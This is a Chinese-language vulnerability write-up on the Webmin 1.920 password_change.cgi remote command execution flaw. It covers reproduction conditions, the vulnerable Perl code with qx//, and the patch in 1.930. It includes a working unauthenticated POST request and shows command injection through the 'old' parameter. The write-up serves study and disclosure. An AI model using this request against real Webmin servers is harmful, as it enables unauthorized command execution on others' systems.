1.910需要传入的user不存在,否则不能执行命令。不知道更老的版本会如何。建议为了全版本使用,POC最好传入一个不存在的user。
0x01 漏洞复现
- 测试版本:webmin 1.920
- 测试环境:Ubuntu
漏洞需要开启密码重置功能。在控制界面 https://ip:10000/webmin/edit_session.cgi?xnavigation=1
等待webmin重启,配置生效。查看webmin的配置文件,可以发现passwd_mode
的值已经从0
变为了2
。
# cat /etc/webmin/miniserv.conf
...
passwd_mode=2
...
抓取到如下数据包:
POST /password_change.cgi HTTP/1.1
Host: yourip:10000
Connection: close
Content-Length: 63
Cache-Control: max-age=0
Origin: https://yourip:10000
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: same-origin
Referer: https://yourip:10000/session_login.cgi
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: redirect=1; testing=1; sessiontest=1; sid=x
user=root&pam=1&expired=2&old=buyaoxiedaopocli&new1=buyaoxiedaopocli&new2=buyaoxiedaopocli
在参数old
后加上|ifconfig
执行ifconfig
命令。
如果user不存在,同样能执行命令
0x02 漏洞分析
先整体看一下入口代码,password_change.cgi的第18-31行:
# Is this a Webmin user?
if (&foreign_check("acl")) {
&foreign_require("acl", "acl-lib.pl");
($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();
if ($wuser->{'pass'} eq 'x') {
# A Webmin user, but using Unix authentication
$wuser = undef;
}
elsif ($wuser->{'pass'} eq '*LK*' ||
$wuser->{'pass'} =~ /^\!/) {
&pass_error("Webmin users with locked accounts cannot change ".
"their passwords!");
}
}
这段代码用于根据请求中的user参数来查找其值是否事webmin的用户。假设只存在一个用户是root,且user=root
,那自然$wuser
为root
。但如果我们不知道用户名即user=xxxx
,则在经过grep
操作后$wuser
的值仍然为undef
。
但是紧接着一个比较语句,这句代码会直接导致$wuser
的值从undef
变为{}
所以在接下来的更新密码部分,无论我们提供的user
值是否是webmin的用户,都会进入到if ($wuser) {...}
这条分支中。
- user=root
- user=noexists_user
因此接下去只需要看password_change.cgi的第37-40行:
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
...
}
首先需要吐槽的是外国的这篇文章 https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html , 分析了一大堆的unix_crypt
,然后突然冒出一句话说we will use "vertical bar (|)"
。写的啥玩意啊,这跟RCE有啥关系???
重点看 pass_error
这行代码,当密码验证不正确的时候将:
&pass_error($text{'password_eold'},qx/$in{'old'}/);
注意$in{'old'}
即参数old
,而且放在了qx/.../
中!
下图所指即命令执行后的结果,这是能直接回显的原因。
所以实际上无需|
这些符号,直接注入即可。
顺便说个笑话,见github issue https://github.com/webmin/webmin/issues/947
0x03 补丁分析
webmin 1.930 修复了该漏洞,简单粗暴,去掉qx: